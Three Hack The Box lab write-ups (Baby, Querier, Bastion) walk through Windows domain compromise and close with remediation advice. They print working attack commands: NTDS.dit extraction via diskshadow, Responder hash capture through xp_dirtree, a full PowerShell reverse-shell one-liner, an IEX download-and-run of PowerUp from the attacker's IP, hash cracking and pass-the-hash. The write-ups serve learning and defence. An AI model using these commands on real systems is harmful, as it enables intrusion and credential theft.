Baby writeup

Box name: Baby

Difficulty: Easy

OS: Windows

Overview: Baby is an easy difficulty Windows machine that features LDAP enumeration, password spraying and exposed credentials. For privilege escalation, the SeBackupPrivilege is exploited to extract registry hives and the NTDS.dit file. A Pass-the-Hash attack can be performed using the uncovered domain hashes ultimately achieving Administrator access.

Link: https://app.hackthebox.com/machines/Baby?tab=machine_info&sort_by=created_at&sort_type=desc

Machine IP: 10.129.15.84

Ran rustscan against the machine.

rustscan -a 10.129.15.84 --ulimit 5000 -b 2000 -- -A -Pn

Right away this looks like a domain machine. Still not much under my belt of domain practice but I believe LDAP is the low hanging fruit here. Ran ldap search.

ldapsearch -x -H ldap://10.129.15.84:389 -b "dc=baby,dc=vl"

Read through the results. Interestingly the user account Teresa.Bell has a password of BabyStart123!

Let’s see if that wasn’t changed.

I tried using crackmapexec but that didn’t work. It’s possible that the account needs a password change.

crackmapexec smb 10.129.15.84 -u 'Teresa.Bell' -p 'BabyStart123!'

Tried changing the password but that didn’t work.

impacket-changepasswd baby.vl/Teresa.Bell:'BabyStart123!'@10.129.15.84 -newpass 'Hacked123!'

Since we have credentials though I bet these likely work somewhere. I’ll try with the other users ldapsearch found

Caroline.Robinson

Kerry.Wilson

Joseph.Hughes

Connor.Wilkinson

Looks like it worked on Caroline but we need to change the password.

Changed her password and used winrm.

impacket-changepasswd baby.vl/Caroline.Robinson:'BabyStart123!'@10.129.15.84 -newpass 'Hacked123!'

evil-winrm -i 10.129.15.84 -u Caroline.Robinson -p 'Hacked123!'

And we got user already.

Uploaded winpeas.

upload winPEASx86.exe

And ran it.

While thats running I got a separate shell to do manual enumeration. Right away we have backup and restore privilege. 

We can take advantage of this.

printf "set metadata c:\\\\windows\\\\temp\\\\meta.cab\r\nset context persistent nowriters\r\nadd volume c: alias pwn\r\ncreate\r\nexpose %%pwn%% z:\r\n" > /tmp/shadow.dsh

Upload it to the target.

diskshadow.exe /s shadow.dsh

robocopy /b z:\Windows\NTDS . ntds.dit

reg save HKLM\SYSTEM C:\Users\Caroline.Robinson\Documents\SYSTEM

Download them.

Now we can extract it.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Logged in with the Administrator hash and we get root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine with ports including 389 (LDAP), 445 (SMB), and 5985 (WinRM). LDAP looked like the most accessible starting point.

rustscan -a 10.129.15.84 –ulimit 5000 -b 2000 — -A -Pn

2 – LDAP enumeration and credential discovery Ran an anonymous LDAP search against the domain and read through the results. Found a plaintext password in the description field of the Teresa.Bell account. Also enumerated a list of domain user accounts.

ldapsearch -x -H ldap://10.129.15.84:389 -b “dc=baby,dc=vl”

Password found: BabyStart123!

3 – Password spraying and account access Attempted to authenticate as Teresa.Bell but the account required a password change. Sprayed the discovered password across the other enumerated users. Caroline.Robinson authenticated successfully but also required a password change. Changed her password and connected via WinRM. Retrieved user.txt.

crackmapexec smb 10.129.15.84 -u ‘Teresa.Bell’ -p ‘BabyStart123!’ impacket-changepasswd baby.vl/Caroline.Robinson:’BabyStart123!’@10.129.15.84 -newpass ‘Hacked123!’ evil-winrm -i 10.129.15.84 -u Caroline.Robinson -p ‘Hacked123!’

4 – Privilege Escalation – SeBackupPrivilege abuse Manual enumeration immediately identified that Caroline.Robinson held SeBackupPrivilege and SeRestorPrivilege. Used diskshadow to create a shadow copy of the C drive and robocopy with the backup flag to copy NTDS.dit from the shadow copy. Saved the SYSTEM hive and downloaded both files.

diskshadow.exe /s shadow.dsh robocopy /b z:\Windows\NTDS . ntds.dit reg save HKLM\SYSTEM C:\Users\Caroline.Robinson\Documents\SYSTEM

5 – Hash extraction and pass the hash Used impacket-secretsdump to extract all domain hashes from NTDS.dit offline. Used the Administrator NTLM hash to authenticate via pass-the-hash and retrieved root.txt.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Key Takeaways

1. Plaintext password stored in an LDAP description field – Teresa.Bell had a password stored in plaintext in her account description, readable by anyone with anonymous LDAP access. Description fields are queryable by all authenticated and in some cases unauthenticated users. Credentials must never be stored in directory attributes.
2. Anonymous LDAP access enabled – The domain controller allowed unauthenticated LDAP queries, exposing the full directory including user accounts and description fields. Anonymous LDAP bind should be disabled on all domain controllers.
3. Password spraying successful due to shared default password – Multiple accounts shared the same default password BabyStart123!, indicating a weak provisioning process. Each account must be assigned a unique password at creation and forced to change it before any other access is granted.
4. SeBackupPrivilege assigned to a standard user – Caroline.Robinson held SeBackupPrivilege, a sensitive Windows privilege that allows bypassing file ACLs and copying protected files including NTDS.dit. This privilege must be restricted to dedicated backup service accounts only and monitored closely.
5. NTDS.dit accessible leading to full domain compromise – Extracting NTDS.dit provided hashes for every account in the domain. A single privilege escalation step resulted in complete domain compromise. NTDS.dit access must be treated as a domain-level critical risk and defended with layered controls.

Remediation

[Immediate] Remove credentials from all LDAP description fields Audit all Active Directory user and computer objects for passwords or sensitive data stored in description, comment, or info fields using a query across all objects. Remove any findings immediately and rotate the affected credentials.

[Immediate] Disable anonymous LDAP bind Configure all domain controllers to require authentication for LDAP queries. Set the dsHeuristics attribute to disable anonymous access and enforce LDAP signing and channel binding via Group Policy to prevent unauthenticated enumeration.

[Immediate] Rotate all credentials extracted from NTDS.dit All domain account passwords and hashes recovered from the dump must be considered fully compromised. Initiate a domain-wide password reset for all user and service accounts. Pay particular attention to accounts with administrative privileges.

[Immediate] Review and restrict SeBackupPrivilege assignments Audit all accounts holding SeBackupPrivilege and SeRestorePrivilege and remove the privilege from any account that does not have an explicit operational requirement. Assign the privilege only to dedicated backup service accounts managed by a PAM solution.

[Short-term] Enforce a unique password provisioning process Eliminate shared default passwords across new accounts. Implement an automated provisioning process that generates a unique random password for each new account and delivers it securely to the user. Force a password change on first login and confirm the previous default is not reusable.

[Long-term] Implement tiered Active Directory administration and enhanced monitoring Adopt a tiered AD model to limit lateral movement from compromised standard accounts to domain controllers. Deploy monitoring for high-risk events including NTDS.dit access, shadow copy creation, SeBackupPrivilege usage, and pass-the-hash indicators. Include domain controller hardening and AD security reviews in the regular penetration testing scope.

Querier writeup

Box name: Querier

Difficulty: Medium

OS: Windows

Overview: Querier is a medium difficulty Windows box which has an Excel spreadsheet in a world-readable file share. The spreadsheet has macros, which connect to MSSQL server running on the box. The SQL server can be used to request a file through which NetNTLMv2 hashes can be leaked and cracked to recover the plaintext password. After logging in, PowerUp can be used to find Administrator credentials in a locally cached group policy file.

Link: https://app.hackthebox.com/machines/Querier?sort_by=created_at&sort_type=desc

Machine IP: 10.129.14.162

Ran rustscan against the machine.

rustscan -a 10.129.14.162 --ulimit 5000 -b 2000 -- -A -Pn

Checked out smb and looks like there is a Reports directory that’s accessible as anonymous.

smbclient -N -L //10.129.14.162/

smbclient //10.129.14.162/Reports

I downloaded it and downloaded and opened with LibreOffice.

There’s not content but it looks like there are macros. We can extract it.

unzip 'Currency Volume Report.xlsm'

It looks like we get credentials inside the macro for the mssql port.

strings vbaProject.bin

reporting:PcwTWTHRwryjc$c6

I was able to get in with those credentials.

/usr/share/doc/python3-impacket/examples/mssqlclient.py reporting@10.129.14.162 -windows-auth

From my notes we can run enable_xp_cmdshell to get a shell but we don’t have permissions. After a while, I wasn’t sure what I could do here so I had to refer to the writeup. We can set up responder, have it try talking to us and capture a hash. Make sure SMB is on.

sudo responder -I tun0 -v

EXEC xp_dirtree '\\10.10.14.155\share', 1, 1;

And we get a hash.

Cracked the hash on the pwnbox.

hashcat -m 5600 hash.txt rockyou.txt

Mssql-svc:corporate568

I was able to connect with these new creds and execute commands now.

I tried running the following command for a shell back but AV blocked it.

EXEC xp_cmdshell 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(''10.10.14.155'',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'

I tried encoding to base64 but that failed.

I referred to the writeup as I’m not completely familiar with bypassing AV yet but apparently they just get a nishang shell on there. I was able to get it on there with no problem, not sure why my original payload was caught though.

Got user.txt

Downloaded powerup as I saw from the overview that this will get us privesc. I had to change my IP though as my VPN kept failing.

IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.147/PowerUp.ps1')

It looks like it found credentials.

Ran impacket and was able to connect.

/usr/share/doc/python3-impacket/examples/psexec.py Administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.129.14.162

And we got root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 135, 139, 445 (SMB), and 1433 (MSSQL). Checked SMB for anonymous access and found a readable Reports share.

rustscan -a 10.129.14.162 –ulimit 5000 -b 2000 — -A -Pn smbclient -N -L //10.129.14.162/

2 – SMB enumeration and macro extraction Connected to the Reports share anonymously and downloaded Currency Volume Report.xlsm. Opened it in LibreOffice and found no visible content but macros were present. Unzipped the file and ran strings against the VBA project binary to extract embedded credentials.

smbclient //10.129.14.162/Reports unzip ‘Currency Volume Report.xlsm’ strings vbaProject.bin

Credentials recovered: reporting:PcwTWTHRwryjc$c6

3 – MSSQL access and NetNTLMv2 hash capture Authenticated to MSSQL using the reporting credentials. The account lacked permissions to enable xp_cmdshell. Set up Responder on tun0 and used xp_dirtree to force the server to authenticate to the attack machine, capturing the NetNTLMv2 hash for the mssql-svc account.

mssqlclient.py reporting@10.129.14.162 -windows-auth sudo responder -I tun0 -v EXEC xp_dirtree ‘\\10.10.14.155\share’, 1, 1;

4 – Hash cracking Cracked the captured NetNTLMv2 hash using Hashcat with rockyou on the Pwnbox.

hashcat -m 5600 hash.txt rockyou.txt

Credentials recovered: mssql-svc:corporate568

5 – MSSQL shell via Nishang Authenticated to MSSQL as mssql-svc which had xp_cmdshell permissions. Standard PowerShell reverse shell payloads were caught by AV. Used a Nishang reverse shell instead which executed successfully and landed a shell. Retrieved user.txt.

6 – Privilege Escalation – cached Group Policy credentials Downloaded and ran PowerUp.ps1 in memory. PowerUp identified Administrator credentials stored in a locally cached Group Policy file.

IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.16.147/PowerUp.ps1&#8217😉

Credentials recovered: Administrator:MyUnclesAreMarioAndLuigi!!1!

7 – Root Used impacket-psexec with the recovered Administrator credentials to get a SYSTEM shell and retrieve root.txt.

psexec.py Administrator:’MyUnclesAreMarioAndLuigi!!1!’@10.129.14.162

Key Takeaways

1. Credentials hardcoded in VBA macros – The MSSQL service account credentials were embedded in plaintext inside a macro in a publicly readable Excel file. Credentials must never be hardcoded in documents, scripts, or source files. Use service accounts with the minimum required permissions and store credentials in a secrets management solution.
2. World-readable SMB share exposing sensitive files – The Reports share was accessible to anonymous users and contained a file with embedded credentials. All SMB shares must require authentication and be audited for sensitive content on a regular basis.
3. NetNTLMv2 hash leakage via xp_dirtree – The MSSQL service was able to make outbound SMB connections, allowing hash capture via Responder. Outbound SMB connections from servers should be blocked at the firewall and MSSQL should not be running under an account capable of authenticating to external hosts.
4. Credentials stored in cached Group Policy files – Administrator credentials were recoverable from a locally cached GPP file. Microsoft patched this in MS14-025 but the credentials persisted on this system. Any environment that previously used GPP credential storage must audit all systems for cached preference files and rotate affected credentials.
5. Weak password on a service account – The mssql-svc password was crackable with rockyou. Service accounts should use long randomly generated passwords managed by a PAM solution and rotated regularly.

Remediation

[Immediate] Remove credentials from the Excel macro and rotate affected accounts Audit all documents on accessible shares for embedded credentials. Remove the hardcoded credentials from the macro immediately and rotate the passwords for both the reporting and mssql-svc accounts. Implement a secrets management solution for any application that requires database credentials.

[Immediate] Restrict SMB share access Disable anonymous and guest access to all SMB shares. The Reports share must require authenticated access and be restricted to only the users or groups that have a legitimate business need. Audit all shares across the environment for excessive permissions.

[Immediate] Block outbound SMB from servers Configure the host firewall and perimeter firewall to block outbound connections on ports 445 and 139 from servers. This prevents MSSQL and other services from being used to leak NetNTLMv2 hashes to attacker-controlled hosts.

[Immediate] Audit and remove cached GPP credential files Search all systems for cached Group Policy Preferences files containing cpassword attributes using tools such as PowerUp or Get-GPPPassword. Remove any files found and rotate all credentials that were stored in GPP. Apply MS14-025 if not already patched.

[Short-term] Restrict xp_cmdshell and MSSQL service account permissions Disable xp_cmdshell on all MSSQL instances where it is not explicitly required. Run the MSSQL service under a dedicated gMSA with the minimum permissions needed and no ability to authenticate to external network resources.

[Long-term] Implement a secrets management and service account governance programme Establish a policy prohibiting hardcoded credentials in any file, script, or application. Deploy a PAM solution to manage, rotate, and audit all service account credentials. Include MSSQL instances and file shares in the scope of regular penetration tests and configuration audits.

Bastion writeup

Box name: Bastion

Difficulty: Easy

OS: Windows

Overview: Bastion is an Easy level WIndows box which contains a VHD ( Virtual Hard Disk ) image from which credentials can be extracted. After logging in, the software MRemoteNG is found to be installed which stores passwords insecurely, and from which credentials can be extracted.

Link: https://app.hackthebox.com/machines/Bastion?sort_by=created_at&sort_type=desc

Machine IP: 10.129.136.29

Scanned the machine with rustscan.

The smb ports look like low hanging fruits so let’s check those out. Looks like there is a Backups directory with some files. Downloaded those.

There’s also a WindowImageBackup directory with a lot more inside. Read the note but just affirms that there’s a backup here. The other file had 0 bytes.

I poked around the other directories and files and the most interesting are .vhd files. This was taking forever to download. I looked at the writeup to see if I was on the right track and I am, but they use a windows machine to connect to the share. Unfortunately I don’t have enough resources to host a VM nor do I have access to a Windows machine so I’m just skipping this part. There would be a SAM file when we mount this though and that has hashes of the account.

*LATER EDIT: Apparently we can mount this with a linux machine with a few tools that I was not aware of. https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25*

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

Another fun thing is that I can’t crack these on my machine as again, I don’t have enough resources to crack hashes. Opened up the pwnbox and was able to crack the L4mpje password.

hashcat -m 1000 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

L4mpje:bureaulampje

I was able to SSH into the device as port 22 was open.

We can get user.txt

Doing some local enumeration and I see mRemoteNG in Program Files (x86).

Doing some research we could possibly find credentials in a confCons.xml file.

The output is ugly but it looks like there is password for administrator. We can decrypt it with a python scripts found here https://github.com/haseebT/mRemoteNG-Decrypt.

python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

And we can log in to Administrator with the new credentials.

And we get root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 445 (SMB), and 135 (MSRPC). SMB looked like the most promising starting point.

2 – SMB enumeration and file retrieval Connected to SMB and found a Backups share containing a WindowsImageBackup directory. Inside were two large .vhd files alongside a note confirming a backup was present and a zero-byte file.

3 – VHD mounting and hash extraction The VHD files contained a Windows backup image. Mounting the VHD and navigating to the Windows/System32/config directory exposed the SAM file, which contained local account hashes.

Hashes recovered: L4mpje:26112010952d963c8dc4217daec986d9 Administrator:31d6cfe0d16ae931b73c59d7e0c089c0

4 – Hash cracking Used Hashcat on the HTB Pwnbox with rockyou to crack the L4mpje hash. The Administrator hash was an empty hash and not usable directly.

hashcat -m 1000 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

Credentials recovered: L4mpje:bureaulampje

5 – SSH access and user flag Authenticated via SSH as L4mpje using the cracked password and retrieved user.txt.

6 – Privilege Escalation – mRemoteNG credential decryption Local enumeration identified mRemoteNG installed in Program Files (x86). Researched the application and found it stores saved connection credentials in confCons.xml. Located the file and found an encrypted Administrator password. Decrypted it using a public mRemoteNG decrypt script.

python3 mremoteng_decrypt.py -s “aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==”

7 – Root Authenticated as Administrator using the decrypted credentials and retrieved root.txt.

Key Takeaways

1. SMB share exposing a full Windows backup – The Backups share was accessible without authentication and contained a complete Windows image backup including the SAM database. Backup files are high-value targets as they often contain credentials and sensitive configuration data that would otherwise require local access to retrieve.
2. Local account hashes extractable from VHD – Mounting the VHD gave direct access to the SAM file, bypassing any need to touch the live system. Backups must be treated with the same security posture as the systems they represent and should never be stored on unauthenticated network shares.
3. Weak password crackable with rockyou – The L4mpje password was in the rockyou wordlist and cracked quickly. Local account passwords must meet complexity requirements and should be audited against common wordlists as part of regular security reviews.
4. mRemoteNG storing passwords insecurely – mRemoteNG encrypts saved credentials with a static default master password, making decryption trivial with publicly available tools. Any application that stores credentials must use strong, user-defined encryption keys and the storage location must be access controlled.
5. Administrator credentials reachable from a standard user session – The mRemoteNG config file containing Administrator credentials was readable by L4mpje. Sensitive application configuration files must have restrictive ACLs so only the owning user or service account can read them.

Remediation

[Immediate] Remove the backup share or require authentication Disable anonymous and guest access to all SMB shares. The Backups share should require authenticated access restricted to backup administrators only. Review all shares across the environment and remove any that expose sensitive data without authentication.

[Immediate] Relocate and protect backup files Windows image backups containing SAM files and other sensitive data must not be stored on network shares accessible to general users. Store backups in a dedicated, access-controlled backup solution with encryption at rest. Treat backup access with the same controls as domain administrator access.

[Immediate] Rotate all credentials extracted from the backup The L4mpje and Administrator credentials recovered from the SAM file and mRemoteNG must be considered fully compromised and rotated immediately.

[Short-term] Harden mRemoteNG configuration If mRemoteNG is required, configure it to use a strong custom master password for credential encryption. Restrict read access on confCons.xml to the owning user only. Evaluate whether a more secure remote management tool should replace it.

[Short-term] Enforce a strong password policy for local accounts Require a minimum password length of 15 characters with complexity for all local accounts. Audit existing local account passwords against common wordlists. Consider deploying Windows LAPS to manage and rotate local Administrator passwords automatically.

[Long-term] Implement a backup security standard Define a policy covering backup encryption, access controls, storage location, and retention. Backups should be encrypted before being written to any network location and decryption keys must be stored separately. Include backup systems in the scope of regular penetration tests.